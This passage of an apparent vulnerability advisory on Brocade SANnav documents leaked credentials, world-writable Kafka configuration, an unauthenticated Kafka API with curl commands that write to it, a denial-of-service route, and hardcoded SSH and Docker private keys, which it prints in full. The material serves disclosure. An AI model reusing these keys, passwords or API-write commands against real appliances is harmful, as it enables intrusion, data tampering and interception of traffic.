      3 ###             **** PLEASE DO NOT EDIT THIS FILE WITH HAND. THIS WILL BE EDITED BY SCRIPTS                          ####
      4 ###             **** IF AT ALL YOU ARE MODIFYING THIS FILE....PLEASE ENSURE YOU DONT HAVE SPACE BEFORE AND AFTER "=" ####
      5 #########################################################################################################################
...
     35  
     36 # Password based encryption key 
     37 security.pbe.key=[REDACTED-HASHED-PASSWORD]
     38  
     39 #WSO2 encrypted Password
     40 dcm.wso2cep.password=[REDACTED-HASHED-PASSWORD]
     41  
...
    109 # Default SFTP/SCP password
    110 dcm.internal.sftpScpServer.password=[REDACTED-HASHED-PASSWORD]
...
    152 # Kafka certificate management
    153 kafka.keystore.password=[REDACTED-HASHED-PASSWORD]
    154 kafka.ca.name=ca-cert.pem
</code></pre>
<p>Finally, the log files are also world-readable:</p>
<pre><code>bash-4.4$ pwd
/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs
bash-4.4$ ls -la
total 5810440
drwxrwxr-x+ 12 sannav sannav     86016 Aug 10 00:06 .
drwxrwxr-x+ 22 sannav sannav      4096 Dec 15  2020 ..
[...]
-rw-rw-r--+  1 root   root    52620851 Mar 31 18:50 asyncjobscheduler-manager-2022-03-03_13-40-26-gc.log.0.current
-rw-rw-r--+  1 root   root   104858122 May 22 12:01 asyncjobscheduler-manager-2022-03-31_19-53-06-gc.log.0
-rw-rw-r--+  1 root   root   104858789 Jul  7 08:14 asyncjobscheduler-manager-2022-03-31_19-53-06-gc.log.1
-rw-rw-r--+  1 root   root    78059535 Aug 10 10:07 asyncjobscheduler-manager-2022-03-31_19-53-06-gc.log.2.current
[...]
-rw-rw-r--+  1 root   root       44634 Jul 27 00:00 asyncjobscheduler-manager.2022-07-26.0.log.gz
-rw-rw-r--+  1 root   root       44314 Jul 28 00:00 asyncjobscheduler-manager.2022-07-27.0.log.gz
-rw-rw-r--+  1 root   root       44792 Jul 29 00:00 asyncjobscheduler-manager.2022-07-28.0.log.gz
-rw-rw-r--+  1 root   root       50831 Jul 30 00:00 asyncjobscheduler-manager.2022-07-29.0.log.gz
-rw-rw-r--+  1 root   root       48250 Jul 31 00:00 asyncjobscheduler-manager.2022-07-30.0.log.gz
-rw-rw-r--+  1 root   root       45001 Aug  1 00:00 asyncjobscheduler-manager.2022-07-31.0.log.gz
-rw-rw-r--+  1 root   root       44987 Aug  2 00:00 asyncjobscheduler-manager.2022-08-01.0.log.gz
-rw-rw-r--+  1 root   root       46530 Aug  3 00:00 asyncjobscheduler-manager.2022-08-02.0.log.gz
-rw-rw-r--+  1 root   root       47830 Aug  4 00:00 asyncjobscheduler-manager.2022-08-03.0.log.gz
-rw-rw-r--+  1 root   root       47102 Aug  5 00:00 asyncjobscheduler-manager.2022-08-04.0.log.gz
-rw-rw-r--+  1 root   root       52024 Aug  6 00:00 asyncjobscheduler-manager.2022-08-05.0.log.gz
-rw-rw-r--+  1 root   root       45954 Aug  7 00:00 asyncjobscheduler-manager.2022-08-06.0.log.gz
-rw-rw-r--+  1 root   root       45408 Aug  8 00:00 asyncjobscheduler-manager.2022-08-07.0.log.gz
-rw-rw-r--+  1 root   root       45668 Aug  9 00:00 asyncjobscheduler-manager.2022-08-08.0.log.gz
-rw-rw-r--+  1 root   root       44973 Aug 10 00:00 asyncjobscheduler-manager.2022-08-09.0.log.gz
-rw-rw-r--+  1 root   root      914752 Aug 10 10:00 asyncjobscheduler-manager.log
[...]
</code></pre>
<p>The installation log file - <code>/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/install-*log</code> - leaks passwords. This file is world-readable and can be read by any user:</p>
<pre><code>[root@sannav-portal-v211 logs]# ls -la /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/install-*log
-rw-rw-r--+ 1 sannav sannav 9930 Jan 1  2022 /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/install-sannav-2022_01_01_001.log
[root@sannav-portal-v211 logs]# sudo -u nobody head /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/install-sannav-2022_01_01_001.log
Status of the network configuration is: **SUCCESS**
docker service is currently running.
Current SANNAV installation status is : **READY**
No /sannav-portal-v210/ found in attached disk.
Copying Composing Files ...
Checking the ports availability for green feild installation
Checking ports that must be free.
Reading property from /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/version.properties
sann2.1.1
Build Label is sann2.1.1
[root@sannav-portal-v211 logs]# 
[root@sannav-portal-v211 logs]# cat /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/logs/install-*log

...
The IPv4 address used for SAN Switch to SANnav Management Portal Server communication is 10.13.3.7
[REDACTED-HASHED-PASSWORD]
Press Enter to continue with default database password, or enter a new password manually.
Password must be between 8 to 64 characters, alphanumeric. Spaces are not allowed. Allowed special characters are ! # $ * ( )
[REDACTED-HASHED-PASSWORD]
Host Name:sannav-portal-v211
Certificate files written to:/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/nginx/https_cert.pem, /sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/nginx/https_key.pem
Generated self-signed server certificate.
Press Enter to continue with default internal SFTP/SCP password, or enter a new password manually.
Password must be between 8 to 64 characters, alphanumeric. Spaces are not allowed. Allowed special characters are ! # $ * ( )
[REDACTED-HASHED-PASSWORD]
[REDACTED-HASHED-PASSWORD]
...
[REDACTED-HASHED-PASSWORD]
[REDACTED-HASHED-PASSWORD]
 Encryption of the KAFKA password is successful
</code></pre>
<p><a id="kafka-reachable-on-the-wan-interface-and-lack-of-authentication"></a></p>
<h2>Details - Kafka reachable on the WAN interface and Lack of authentication</h2>
<p>It was observed that Kafka is reachable from the WAN interface of the appliance on several ports:</p>
<ul>
<li><code>18081/tcp</code></li>
<li><code>18082/tcp</code></li>
<li><code>19094/tcp</code></li>
</ul>
<p>The official documentation regarding the Kafka configuration recommends not exposing Kafka ports on the network interfaces.</p>
<p>When reading the documentation of SANnav, this exposure appears to be a normal behavior:</p>
<p><a href="https://techdocs.broadcom.com/us/en/fibre-channel-networking/sannav/management-portal-installation-and-migration/2-2-x/v26510227/v25436141.html">https://techdocs.broadcom.com/us/en/fibre-channel-networking/sannav/management-portal-installation-and-migration/2-2-x/v26510227/v25436141.html</a>:</p>
<p><img alt="" src="images/2024-sannav-docs-fw1.png" /></p>
<p>But when confirming the network flows in the documentation files, Kafka is only supposed to be reachable by the switches:</p>
<p><a href="https://docs.broadcom.com/doc/SANnav-211x-Install-IG">https://docs.broadcom.com/doc/SANnav-211x-Install-IG</a> page 20:</p>
<p><img alt="" src="images/2024-sannav-docs-fw2.png" /></p>
<p>Furthermore, the java processes for Kafka run as root:</p>
<pre><code>[root@sannav-portal-v211 ~]# ps -auxww | grep 417993
root     4127993  6.1  2.6 25678024 1323372 ?    Ssl  Mar31 11703:50 java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingHeapOccupancyPercent=35 -XX:+ExplicitGCInvokesConcurrent -Djava.awt.headless=true -Xloggc:/var/log/kafka/kafkaServer-gc.log -verbose:gc -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10 -XX:GCLogFileSize=100M -Dcom.sun.management.jmxremote=false -Dcom.sun.management.jmxremote.authenticate=true -Dcom.sun.management.jmxremote.ssl=false -Dkafka.logs.dir=/var/log/kafka -Dlog4j.configuration=file:/etc/kafka/log4j.properties -cp /usr/bin/../share/java/kafka/*:/usr/bin/../share/java/confluent-support-metrics/*:/usr/share/java/confluent-support-metrics/* io.confluent.support.metrics.SupportedKafka /etc/kafka/kafka.properties
[root@sannav-portal-v211 ~]# ps -auxww | grep 4146085
root     1858651  0.0  0.0  12108   988 pts/0    S+   10:28   0:00 grep --color=auto 4146085
root     4146085  0.1  0.8 10493048 420532 ?     Ssl  Mar31 338:08 java -Xmx512M -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingHeapOccupancyPercent=35 -XX:+ExplicitGCInvokesConcurrent -Djava.awt.headless=true -Dcom.sun.management.jmxremote=false -Dcom.sun.management.jmxremote.authenticate=true -Dcom.sun. management.jmxremote.ssl=false -Dschema-registry.log.dir=/usr/bin/../logs -Dlog4j.configuration=file:/etc/schema-registry/log4j.properties -cp :/usr/bin/../package-schema-registry/target/kafka-schema-registry-package-*-development/share/java/schema-registry/*:/usr/bin/../share/java/confluent-common/*:/usr/bin/../share/java/rest-utils/*:/usr/bin/../share/java/schema-registry/* io.confluent.kafka.schemaregistry.rest.SchemaRegistryMain /etc/schema-registry/schema-registry.properties
[root@sannav-portal-v211 ~]#
</code></pre>
<p>The credentials used in Kafka are very weak (<code>passw0rd</code>) and the Kafka passwords can be found in world-readable files:</p>
<pre><code>root@sannav-portal-v211:/etc/kafka/secrets# pwd
/etc/kafka/secrets
root@sannav-portal-v211:/etc/kafka/secrets# ls -la
total 36
drwxrwxrwx. 2 root root 4096 Mar 31 23:42 .
drwxrwxrwx. 1 root root 4096 Mar 31 23:42 ..
-r--r--r--. 1 root root 1194 Mar 31 23:42 kafka.truststore.jks
-r--r--r--. 1 root root    8 Mar 31 23:42 keystore_creds
-r--r--r--. 1 root root 4751 Mar 31 23:42 sannav-portal-v211_keystore.jks
-r--r--r--. 1 root root    8 Mar 31 23:42 sslkey_creds
-r--r--r--. 1 root root    8 Mar 31 23:42 truststore_creds
root@sannav-portal-v211:/etc/kafka/secrets# ls -Z
system_u:object_r:tmpfs_t:s0 kafka.truststore.jks  system_u:object_r:tmpfs_t:s0 sannav-portal-v211_keystore.jks  system_u:object_r:tmpfs_t:s0 truststore_creds
system_u:object_r:tmpfs_t:s0 keystore_creds        system_u:object_r:tmpfs_t:s0 sslkey_creds
root@sannav-portal-v211:/etc/kafka/secrets# ls -laZ
total 36
drwxrwxrwx. 2 root root system_u:object_r:unlabeled_t:s0 4096 Mar 31 23:42 .
drwxrwxrwx. 1 root root system_u:object_r:unlabeled_t:s0 4096 Mar 31 23:42 ..
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0     1194 Mar 31 23:42 kafka.truststore.jks
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0        8 Mar 31 23:42 keystore_creds
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0     4751 Mar 31 23:42 sannav-portal-v211_keystore.jks
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0        8 Mar 31 23:42 sslkey_creds
-r--r--r--. 1 root root system_u:object_r:tmpfs_t:s0        8 Mar 31 23:42 truststore_creds
root@sannav-portal-v211:/etc/kafka/secrets# cat keystore_creds ; echo
passw0rd
root@sannav-portal-v211:/etc/kafka/secrets# cat sslkey_creds ; echo
passw0rd
root@sannav-portal-v211:/etc/kafka/secrets# cat truststore_creds ; echo
passw0rd
root@sannav-portal-v211:/etc/kafka/secrets# cat /etc/kafka/kafka.properties
inter.broker.listener.name=PLAINTEXT
ssl.key.password=passw0rd
ssl.keystore.password=passw0rd
advertised.listeners=PLAINTEXT://10.13.3.7:19093,EXTERNAL_SSL://10.13.3.7:19094
ssl.keystore.location=/etc/kafka/secrets/sannav-portal-v211_keystore.jks
ssl.keystore.filename=sannav-portal-v211_keystore.jks
advertised.host.name=10.13.3.7
zookeeper.connect=10.13.3.7:12181
num.partitions=16
ssl.truststore.credentials=truststore_creds
ssl.keystore.credentials=keystore_creds
ssl.enabled.protocols=TLSv1.2
zookeeper.connection.timeout.ms=15000
log.retention.minutes=30
zookeeper.session.timeout.ms=15000
broker.id=1
ssl.key.credentials=sslkey_creds
offsets.topic.replication.factor=1
ssl.truststore.type=JKS
listener.security.protocol.map=PLAINTEXT:PLAINTEXT,EXTERNAL_PLAINTEXT:PLAINTEXT,EXTERNAL_SSL:SSL
ssl.keystore.type=JKS
log.dirs=/var/lib/kafka/data
ssl.truststore.filename=kafka.truststore.jks
listeners=PLAINTEXT://0.0.0.0:19093,EXTERNAL_SSL://0.0.0.0:19094
root@sannav-portal-v211:/etc/kafka/secrets#
</code></pre>
<p>Regarding the configuration of Kafka, the <code>/etc/kafka</code> directory inside the <code>dcm_2_1_1_kafka-1.1.y7zjzek7z1pjmbr1l7bhp4916</code> has incorrect permissions (<code>777</code>) allowing any local attacker to change the configuration.</p>
<p>The directories <code>/etc/kafka</code> and <code>/etc/kafka/secrets</code> are both <code>777</code>.</p>
<p>All the files are world-writable in <code>/etc/kafka</code>:</p>
<pre><code>[root@sannav-portal-v211 ~]# docker ps | grep kafka
9942a51dc33f        10.13.3.7:5000/cp-kafka:sann2.1.1                          "/etc/confluent/dock     4 months ago        Up 4 months                             dcm_2_1_1_kafka-1.1.y7zjzek7z1pjmbr1l7bhp4916
[root@sannav-portal-v211 ~]# docker exec -it 9942a51dc33f bash
root@sannav-portal-v211:/# cd /etc/kafka
root@sannav-portal-v211:/etc/kafka# ls -la
total 100
drwxrwxrwx. 1 root root 4096 Mar 31 23:42 .
drwxr-xr-x. 1 root root 4096 Mar 31 23:42 ..
-rw-rw-rw-. 1 root root  906 Jun  5  2019 connect-console-sink.properties
-rw-rw-rw-. 1 root root  909 Jun  5  2019 connect-console-source.properties
-rw-rw-rw-. 1 root root 5335 Jun  5  2019 connect-distributed.properties
-rw-rw-rw-. 1 root root  883 Jun  5  2019 connect-file-sink.properties
-rw-rw-rw-. 1 root root  881 Jun  5  2019 connect-file-source.properties
-rw-rw-rw-. 1 root root 1111 Jun  5  2019 connect-log4j.properties
-rw-rw-rw-. 1 root root 2276 Jun  5  2019 connect-standalone.properties
-rw-rw-rw-. 1 root root 1221 Jun  5  2019 consumer.properties
-rw-r--r--. 1 root root  974 Mar 31 23:42 kafka.properties
-rw-rw-rw-. 1 root root  960 Mar 31 23:42 log4j.properties
-rw-rw-rw-. 1 root root 1925 Jun  5  2019 producer.properties
drwxrwxrwx. 2 root root 4096 Mar 31 23:42 secrets
-rw-rw-rw-. 1 root root 8309 Jun  5  2019 server.properties
-rw-rw-rw-. 1 root root  252 Mar 31 23:42 tools-log4j.properties
-rw-rw-rw-. 1 root root 1169 Jun  5  2019 trogdor.conf
-rw-rw-rw-. 1 root root 1027 Jun  5  2019 zookeeper.properties
root@sannav-portal-v211:/etc/kafka#
</code></pre>
<p>Testing the API access, it was observed that it is possible to send JSON AVRO-formatted data into the Kafka APIs reachable on ports <code>18081</code> (HTTP) and <code>18082</code> (HTTP). These accesses provide an attacker a full write access to Kafka:</p>
<pre><code>kali% curl -s http://10.13.3.7:18081/subjects | jq .
[
  "PortMetrics",
  "StatsCollectionCompleted-value",
  "FCIPTunnelMetrics",
  "amp_iov_viol_summary",
  "fos_flow_stats",
  "FCIPCircuitMetrics",
  "Telemetry_register-value",
  "amp_dev_port_stats",
  "flow_stats"
]
kali% curl -s  http://10.13.3.7:18081/subjects/FCIPTunnelMetrics/versions/latest | jq .
{
  "subject": "FCIPTunnelMetrics",
  "version": 1,
  "id": 8,
  "schema": "{\"type\":\"record\",\"name\":\"FCIPTunnelMetrics\",\"namespace\":\"com.brocade.streaming\",\"fields\":[{\"name\":\"switch_wwn\",\"type\":\"string\"},{\"name\":\"port_wwn\",\"type\":\"string\"},{\"name\":\"stats_time\",\"type\":\"long\"},{\"name\":\"user_port_index\",\"type\":\"int\"},{\"name\":\"bytes_in\",\"type\":\"long\"},{\"name\":\"bytes_out\",\"type\":\"long\"},{\"name\":\"uncompressed_bytes\",\"type\":\"long\"},{\"name\":\"compressed_bytes\",\"type\":\"long\"},{\"name\":\"compression_ratio\",\"type\":\"float\"},{\"name\":\"retransmits\",\"type\":\"long\"},{\"name\":\"connected_count\",\"type\":\"long\"},{\"name\":\"dup_acks\",\"type\":\"long\"},{\"name\":\"out_of_order\",\"type\":\"long\"},{\"name\":\"slow_starts\",\"type\":\"long\"},{\"name\":\"round_trip_time_min\",\"type\":\"long\"},{\"name\":\"round_trip_time_max\",\"type\":\"long\"},{\"name\":\"round_trip_time_avg\",\"type\":\"long\"}]}"
}
kali%
</code></pre>
<p>Creating a new Kafka subject <code>pierrewashere</code>, using the payload located in the following <code>avro.txt</code> local file:</p>
<pre><code>kali% cat avro.txt 
{"schema":"{\"namespace\":\"com.testlab\",\"name\":\"pierrewashere\",\"type\":\"record\",\"fields\":[{\"name\":\"resourcepath\",\"type\":\"string\"},{\"name\":\"resource\",\"type\":\"string\"}]}" }
kali% curl -X POST -H "Content-Type: application/vnd.schemaregistry.v1+json"  -d @avro.txt http://10.13.3.7:18081/subjects/pierrewashere/versions
{"id":141}
kali% curl -s http://10.13.3.7:18081/subjects | jq .
[
  "PortMetrics",
  "StatsCollectionCompleted-value",
  "FCIPTunnelMetrics",
  "amp_iov_viol_summary",
  "fos_flow_stats",
  "FCIPCircuitMetrics",
  "Telemetry_register-value",
  "amp_dev_port_stats",
  "pierrewashere",
  "flow_stats"
]

kali% curl -s http://10.13.3.7:18081/subjects/pierrewashere/versions/latest | jq .
{
  "subject": "pierrewashere",
  "version": 1,
  "id": 141,
  "schema": "{\"type\":\"record\",\"name\":\"pierrewashere\",\"namespace\":\"com.testlab\",\"fields\":[{\"name\":\"resourcepath\",\"type\":\"string\"},{\"name\":\"resource\",\"type\":\"string\"}]}"
}
</code></pre>
<p>An attacker can send any malicious data into any subject.</p>
<p>This access also allows the attacker to fill the entire disk by sending large chunks of data into Kafka using the string type, resulting in a complete DoS of the appliance. For example, it is possible to send Gigabytes of data and fill the hard disk.</p>
<p>There is no authentication implemented in the Kafka APIs.</p>
<p>Furthermore, it was determined the jetty version used is <code>9.4.14.v20181114</code>:</p>
<pre><code>kali% curl -X POST -H "Content-Type: application/vnd.kafka.avro.v2+json" \
      -H "Content-Type: application/vnd.schemaregistry.v1+json" \
      --data '{"value_schema": "{\"type\": \"record\", \"name\": \"User\", \"fields\": [{\"name\": \"name\", \"type\": \"string\"}]}", "records": [{"value": {"name": "testUser"}}]}' \
      "http://10.13.3.7:18081/subjects/avrotest"
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html;charset=utf-8"/&gt;
&lt;title&gt;Error 400 Bad Request&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;&lt;h2&gt;HTTP ERROR 400&lt;/h2&gt;
&lt;p&gt;Problem accessing /subjects/avrotest. Reason:
&lt;pre&gt;    Bad Request&lt;/pre&gt;&lt;/p&gt;&lt;hr&gt;&lt;a href="http://eclipse.org/jetty"&gt;Powered by Jetty:// 9.4.14.v20181114&lt;/a&gt;&lt;hr/&gt;

&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>There are some CVEs in this version of Jetty:</p>
<p><img alt="" src="images/2024-sannav-jetty.png" /></p>
<p>When checking on the switches, it appears some switches are sending data to Kafka, as shown below:</p>
<pre><code>SWITCH:FID1:root&gt; netstat -an | grep 19094
tcp        0      0 10.13.3.8:56543       10.13.3.7:19094     ESTABLISHED
</code></pre>
<p>An attacker can send malicious data into the Kafka APIs.</p>
<p>An attacker can fill the entire disk by sending large chunks of data into Kafka using the String type, resulting in a complete DoS of the appliance.</p>
<p>It is impossible to trust any data submitted from the switches to Kafka.</p>
<p>The data is sent over HTTP or HTTPS. An attacker can MITM HTTP connections and insert malicious data.</p>
<p>The version of Jetty is vulnerable to several critical vulnerabilities.</p>
<p><a id="hardcoded-ssh-keys"></a></p>
<h2>Details - Hardcoded SSH Keys</h2>
<p>The  SANnav server is based on an official image provided by Broadcom, and the SSH keys inside the OVA image are hardcoded. It was found that the SSH keys are always identical in the VM every time SANnav is installed.</p>
<p>An attacker can decrypt the SSH traffic to the SANnav appliance and compromise it.</p>
<p>Any VM based on the official OVA images is vulnerable to MITM over SSH because of these hardcoded keys:</p>
<pre><code>[root@sannav-portal-v222 ssh]# pwd
/etc/ssh
[root@sannav-portal-v222 ssh]# ls -la
total 620
drwxr-xr-x.  2 root root        225 May 17  2022 .
drwxr-xr-x. 77 root root       8192 Mar  6 02:40 ..
-rw-r--r--   1 root root     581843 Nov 24  2021 moduli
-rw-r--r--   1 root root       2276 Nov 24  2021 ssh_config
-rw-------   1 root root       4469 May 17  2022 sshd_config
-rw-r-----.  1 root ssh_keys    227 Apr 26  2021 ssh_host_ecdsa_key
-rw-r--r--.  1 root root        162 Apr 26  2021 ssh_host_ecdsa_key.pub
-rw-r-----.  1 root ssh_keys    387 Apr 26  2021 ssh_host_ed25519_key
-rw-r--r--.  1 root root         82 Apr 26  2021 ssh_host_ed25519_key.pub
-rw-r-----.  1 root ssh_keys   1675 Apr 26  2021 ssh_host_rsa_key
-rw-r--r--.  1 root root        382 Apr 26  2021 ssh_host_rsa_key.pub
[root@sannav-portal-v222 ssh]# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIJgH/x3n/0uvdhwWzFbCbvDArO5gX8IwRXNU+ot5M2KkoAoGCCqGSM49
AwEHoUQDQgAExHheDEZ4Vz3BLCKL1wU8NKUckyc1tqgC+qgCLN+TtObHtdI5+i+7
rS1Zv3qA7Pm1l+F8vs96YY9UJ7TjE9FUEg==
-----END EC PRIVATE KEY-----
[root@sannav-portal-v222 ssh]# cat ssh_host_ed25519_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAQYE7yRUULJOIeqF3+lW2BwSGAPtw2roNUpedXyUMy/wAAAIga/868Gv/O
vAAAAAtzc2gtZWQyNTUxOQAAACAQYE7yRUULJOIeqF3+lW2BwSGAPtw2roNUpedXyUMy/w
AAAEC9POU6i1dWFEpuB4t173ausxqJ6MZrhzp+Fu/ElGV4lRBgTvJFRQsk4h6oXf6VbYHB
IYA+3Daug1Sl51fJQzL/AAAAAAECAwQF
-----END OPENSSH PRIVATE KEY-----
[root@sannav-portal-v222 ssh]# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAt8ey0uQd7+zUXxFGq5Bpw2XNmkNihoEDVHFA737Jfa4Og9Z7
EwRg4kiyQzL3BckEGQAW8xc4jRjV2OAiHTR9qveusIMjHs49/Lt3SUP9yxWPzp3l
DbP/MYcwO8Yy9X5mO05wKiD2ltoOyuijmfb631DFH673Wgkmxy7YQeuiKQ8s3Cls
vhrO2zQ9rAO2GTdeyQ8CeI9vadtT/2REd97nH4CQhu5Fjq7o2HDd3u3QbVOxn9Sx
Cl8r+U3PbsuriKNqZbdpJXJZDevEfZYgc/xfOPv4tOm/lafstZIPRwVW2JefOytd
/ORL0yoNA2aVr+e1VlFdlp0h5WK8JGaBlVEf3wIDAQABAoIBAAdpW1Hb90UcxPfM
h5AVs944ddE51HheLZczNg4yi8ewxE8W0EHVFF8r1VyWapXmJG8prMNC9XnjPYSQ
jW+mFUdW08m0kC8G3EMcAFSJFGwjQ3hur7UcxDboH87ZUGbMIS1VHXrld2xgAOa3
+RkVd8qXxEth0AHmipTP09LcwN5s970wMwW0/WZ+6idO7Zdvpo7nJ0zqgFdylSX+
xq/7vj+LHTq0Z0v7mMhyrncVurQkXPpAB5biA69ISTA9Aiy/qHZu1HqyBAQ/Qru4
csqT4fRRGbiTvzmK+3JeIgZ6GWEYJA2gc3hnX4xY+NqFpbbBxVfli6pSyIPYZzzX
4GWD/ykCgYEA4VFSt6FDrJFFbJvic3owZbglHQss2GC7j5WDWzUuhvDXDKKzwsnR
9EmevCw47JLIDbhhR2DYTcikCCPY4CsfHQqieEdtFkjQ4JiwSgTszvupjgAwHOWO
V6ndrMgaj4VSLD/iQ2Ax+8+4ga8JDNZT6EIq/MgPSmPMlXOt2ty4rA0CgYEA0M5b
GBy+CXIZXzs5fB7bxilA20AS8khIrl7YB+Q1iQd+60IfAKYrPZXxhcbVpiqkU+99
Ttcvo6h7PYHyE4ybVZR9wGL1/CJB1GX+fL1CEpfhYMK5dgHtH+iV1f2AJmw17/P4
5RASThpyGx5E6Mx0T98U45R94CmlWZ1WmygjxJsCgYB0hl818mOSSmrR+WhKekWv
RWWEOLRPju9RGWyebcmLJeDBex9mPIOlR7Gc9W3XAy4M0m8UwAP9bidOwmM1w3dK
yKYveBj1bmD/1ldNYHCrtsEAXB6Fwz4zHfkzkyURVkyh78PvPj97T/jGsKQIjItG
UXnz0u79dNFn9TRTPNUQvQKBgQCmvYKE2L7wcArOv06CTWoW7e56psn6a7qOc/Jz
KsuNZ0z0tNJpBEjXXxuFRmhpzvd2h3I7OR8zw2DWlyQmdEu+pVtd/CiOdRS4ddIo
7kEK8/nn+Nd84sDmkCbGwS5KgHL58Is68ACOGhQwj5VbiZkABxZ5PaTfEqKV00zL
jdwyLQKBgBeUeKdEd3oT0KKnhVxCkfkIlRDfd1elGMEuD5WdXDv29oUsNMO60QF4
4wEs0nFAVug/oXyb5e2supxRIK0nl0sepG11Rl+KfXEajVkb4htfpq60KJuShZww 
Pvih9bO2HZoeWvBs2Itfyla59R81GIar/DF+kipcK8Q3CTU8qeib
-----END RSA PRIVATE KEY-----
[root@sannav-portal-v222 ssh]#
</code></pre>
<p><a id="suspicious-network-traffic-www.gridgain.com"></a></p>
<h2>Details - Suspicious network traffic (www.gridgain.com)</h2>
<p>The SANnav appliance regularly sends HTTPS requests to <code>www.gridgain.com</code> at a small interval.
The appliance will do DNS resolutions for <code>www.gridgain.com</code> and then will send HTTPS requests as shown below:</p>
<pre><code>08:56:52.369555 IP 10.13.3.7.39267 &gt; 1.1.1.1.53: 45069+ A? www.gridgain.com. (34)
08:56:52.436017 IP 1.1.1.1.53 &gt; 10.13.3.7.39267: 45069 3/0/0 A 104.20.72.180, A 172.67.0.7, A 104.20.71.180 (82)
08:56:52.436749 IP 10.13.3.7.53900 &gt; 104.20.72.180.443: Flags [S], seq 2047387243, win 29200, options [mss 1460,sackOK,TS val 269727762 ecr 0,nop,wscale 7], length 0
08:56:52.437847 IP 104.20.72.180.443 &gt; 10.13.3.7.53900: Flags [S.], seq 977183308, ack 2047387244, win 65160, options [mss 1400,sackOK,TS val 4049146153 ecr 269727762,nop,wscale 13], length 0
08:56:52.437892 IP 10.13.3.7.53900 &gt; 104.20.72.180.443: Flags [.], ack 1, win 229, options [nop,nop,TS val 269727763 ecr 4049146153], length 0
08:56:52.442099 IP 10.13.3.7.53900 &gt; 104.20.72.180.443: Flags [P.], seq 1:409, ack 1, win 229, options [nop,nop,TS val 269727767 ecr 4049146153], length 408
08:56:52.443574 IP 104.20.72.180.443 &gt; 10.13.3.7.53900: Flags [.], ack 409, win 7, options [nop,nop,TS val 4049146159 ecr 269727767], length 0
08:56:52.448562 IP 104.20.72.180.443 &gt; 10.13.3.7.53900: Flags [R.], seq 1, ack 409, win 8, length 0
08:58:42.419664 IP 10.13.3.7.59200 &gt; 1.1.1.1.53: 54140+ A? www.gridgain.com. (34)
08:58:42.421037 IP 1.1.1.1.53 &gt; 10.13.3.7.59200: 54140 3/0/0 A 172.67.0.7, A 104.20.71.180, A 104.20.72.180 (82)
08:58:42.421403 IP 10.13.3.7.36258 &gt; 172.67.0.7.443: Flags [S], seq 1584590370, win 29200, options [mss 1460,sackOK,TS val 269837747 ecr 0,nop,wscale 7], length 0
08:58:42.422603 IP 172.67.0.7.443 &gt; 10.13.3.7.36258: Flags [S.], seq 3995360301, ack 1584590371, win 65160, options [mss 1400,sackOK,TS val 137617048 ecr 269837747,nop,wscale 13], length 0
08:58:42.422651 IP 10.13.3.7.36258 &gt; 172.67.0.7.443: Flags [.], ack 1, win 229, options [nop,nop,TS val 269837748 ecr 137617048], length 0
08:58:42.425856 IP 10.13.3.7.36258 &gt; 172.67.0.7.443: Flags [P.], seq 1:417, ack 1, win 229, options [nop,nop,TS val 269837751 ecr 137617048], length 416
</code></pre>
<p>Such behavior was not understood.</p>
<p><a id="hardcoded-docker-keys"></a></p>
<h2>Details - Hardcoded Docker Keys</h2>
<p>The SANnav OVA image contains hardcoded keys used by Docker to reach remote registries over TLS. These keys are located in <code>/etc/docker/key.json</code>.</p>
<p>Using TLS connections with an exposed key allows an attacker to MITM the traffic.</p>
<p>Any VM based on the official OVA images is vulnerable to MITM because of the hardcoded keys present in <code>/etc/docker.key.json</code>:</p>
<pre><code>[root@sannav-portal-v222 docker]# ls -la /etc/docker/
total 20
drwxr-xr-x.  2 root root   41 Apr 19 02:13 .
drwxr-xr-x. 79 root root 8192 Apr 28 06:36 ..
-rw-r--r--   1 root root  456 Apr 19 02:13 daemon.json
-rw-------.  1 root root  244 Apr 27  2021 key.json
[root@sannav-portal-v222 docker]# cat /etc/docker/key.json ;echo
{"crv":"P-256","d":"1BHHb6gaO7ds8kUM6xifPvFttfyvfRQQQcpJB0-iW6M","kid":"JNOI:BTG4:EE6S:YXWW:6GXN:6G2Y:3RNZ:5R6C:WEJU:6Z35:Z4GN:T4UE","kty":"EC","x":"Ox05VYYpZTIsmHfCzM7pp1MgsC6Bc1BGP3zR-mM6MlI","y":"zoQBZ9sZqIeOy5FzBYY4cb98f6GYfE45ILfMFz-RpF4"}
[root@sannav-portal-v222 docker]#
</code></pre>
<p>An attacker can decrypt the traffic from the Docker daemon to the remote Docker registries.</p>
<h2>Researcher comments on Vendor Response</h2>
<p>19 months to provides security patches are quite long.</p>
<p>Rejecting <strong>valid</strong> security assessments is also quite concerning.</p>
<p>A second security assessment on Brocade switches was rejected in September 2022 by Brocade. One of the rejected vulnerabilities was found internaly by Brocade teams and then promoted to a valid CVE in November 2022: <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/21217">CVE-2022-33186</a>, CVSS: 9.4 - CRITICAL - credited to Brocade.</p>
<h2>Vendor Response</h2>
<p>The vendor provided several security bulletins:</p>
